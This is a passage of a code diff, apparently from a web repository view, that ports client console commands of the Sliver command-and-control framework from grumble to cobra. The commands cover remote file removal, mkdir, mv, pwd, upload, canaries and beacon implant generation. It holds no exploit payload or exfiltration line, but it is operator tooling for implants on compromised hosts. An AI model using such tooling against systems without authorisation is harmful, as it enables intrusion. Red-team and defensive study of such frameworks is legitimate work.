con.Printf("%s\n", outputBuf.String())
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// MemfilesRmCmd - Remove a memfile
|
||||
func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
fdArg := args[0]
|
||||
if fdArg == "" {
|
||||
con.PrintErrorf("Missing parameter: File Descriptor\n")
|
||||
return
|
||||
}
|
||||
|
||||
fdInt, err := strconv.ParseInt(fdArg, 0, 64)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse fdArg: %s\n", err)
|
||||
return
|
||||
}
|
||||
memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Fd: fdInt,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if memfilesList.Response != nil && memfilesList.Response.Async {
|
||||
con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, memfilesList)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRmMemfile(memfilesList, con)
|
||||
})
|
||||
con.PrintAsyncResponse(memfilesList.Response)
|
||||
} else {
|
||||
PrintRmMemfile(memfilesList, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRmMemfile - Remove a memfile
|
||||
func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
|
||||
if memfilesList.Response != nil && memfilesList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", memfilesList.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
|
||||
}
|
||||
@@ -21,22 +21,24 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
// filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: directory name\n")
|
||||
@@ -44,7 +46,7 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -21,34 +21,37 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
|
||||
func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
src := ctx.Args.String("src")
|
||||
if src == "" {
|
||||
con.PrintErrorf("Missing parameter: src\n")
|
||||
return
|
||||
}
|
||||
src := args[0]
|
||||
// src := ctx.Args.String("src")
|
||||
// if src == "" {
|
||||
// con.PrintErrorf("Missing parameter: src\n")
|
||||
// return
|
||||
// }
|
||||
|
||||
dst := ctx.Args.String("dst")
|
||||
if dst == "" {
|
||||
con.PrintErrorf("Missing parameter: dst\n")
|
||||
return
|
||||
}
|
||||
dst := args[1]
|
||||
// dst := ctx.Args.String("dst")
|
||||
// if dst == "" {
|
||||
// con.PrintErrorf("Missing parameter: dst\n")
|
||||
// return
|
||||
// }
|
||||
|
||||
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
|
||||
@@ -21,22 +21,23 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,33 +21,38 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
// filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
force, _ := cmd.Flags().GetBool("force")
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
Recursive: recursive,
|
||||
Force: force,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,29 +21,36 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// UploadCmd - Upload a file to the remote system
|
||||
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
remotePath := ""
|
||||
|
||||
localPath := args[0]
|
||||
if len(args) > 1 {
|
||||
remotePath = args[1]
|
||||
}
|
||||
|
||||
// localPath := ctx.Args.String("local-path")
|
||||
// remotePath := ctx.Args.String("remote-path")
|
||||
isIOC, _ := cmd.Flags().GetBool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -56,28 +63,30 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileName := filepath.Base(src)
|
||||
|
||||
if remotePath == "" {
|
||||
fileName := filepath.Base(src)
|
||||
remotePath = fileName
|
||||
}
|
||||
|
||||
dst := remotePath
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
fileBuf, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
FileName: fileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -4,23 +4,25 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to list canaries %s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
burnedOnly, _ := cmd.Flags().GetBool("burned")
|
||||
PrintCanaries(con, canaries.Canaries, burnedOnly)
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
|
||||
@@ -5,9 +5,10 @@ import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -16,32 +17,35 @@ var (
|
||||
)
|
||||
|
||||
// GenerateBeaconCmd - The main command used to generate implant binaries
|
||||
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
err := parseBeaconFlags(cmd, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
externalBuild(name, config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
|
||||
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
|
||||
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
|
||||
func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
days, _ := cmd.Flags().GetInt64("days")
|
||||
hours, _ := cmd.Flags().GetInt64("hours")
|
||||
minutes, _ := cmd.Flags().GetInt64("minutes")
|
||||
interval := time.Duration(days) * time.Hour * 24
|
||||
interval += time.Duration(hours) * time.Hour
|
||||
interval += time.Duration(minutes) * time.Minute
|
||||
|
||||
/*
|
||||
If seconds has not been specified but any of the other time units have, then do not add
|
||||
@@ -49,14 +53,18 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
|
||||
|
||||
If seconds have been specified, then add them regardless.
|
||||
*/
|
||||
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
|
||||
if (!cmd.Flags().Changed("seconds") && interval.Seconds() == 0) || (cmd.Flags().Changed("seconds")) {
|
||||
// if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
|
||||
seconds, _ := cmd.Flags().GetInt64("seconds")
|
||||
interval += time.Duration(seconds) * time.Second
|
||||
}
|
||||
|
||||
if interval < minBeaconInterval {
|
||||
return ErrBeaconIntervalTooShort
|
||||
}
|
||||
|
||||
beaconJitter, _ := cmd.Flags().GetInt64("jitter")
|
||||
config.BeaconInterval = int64(interval)
|
||||
config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
|
||||
config.BeaconJitter = int64(time.Duration(beaconJitter) * time.Second)
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 6884 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user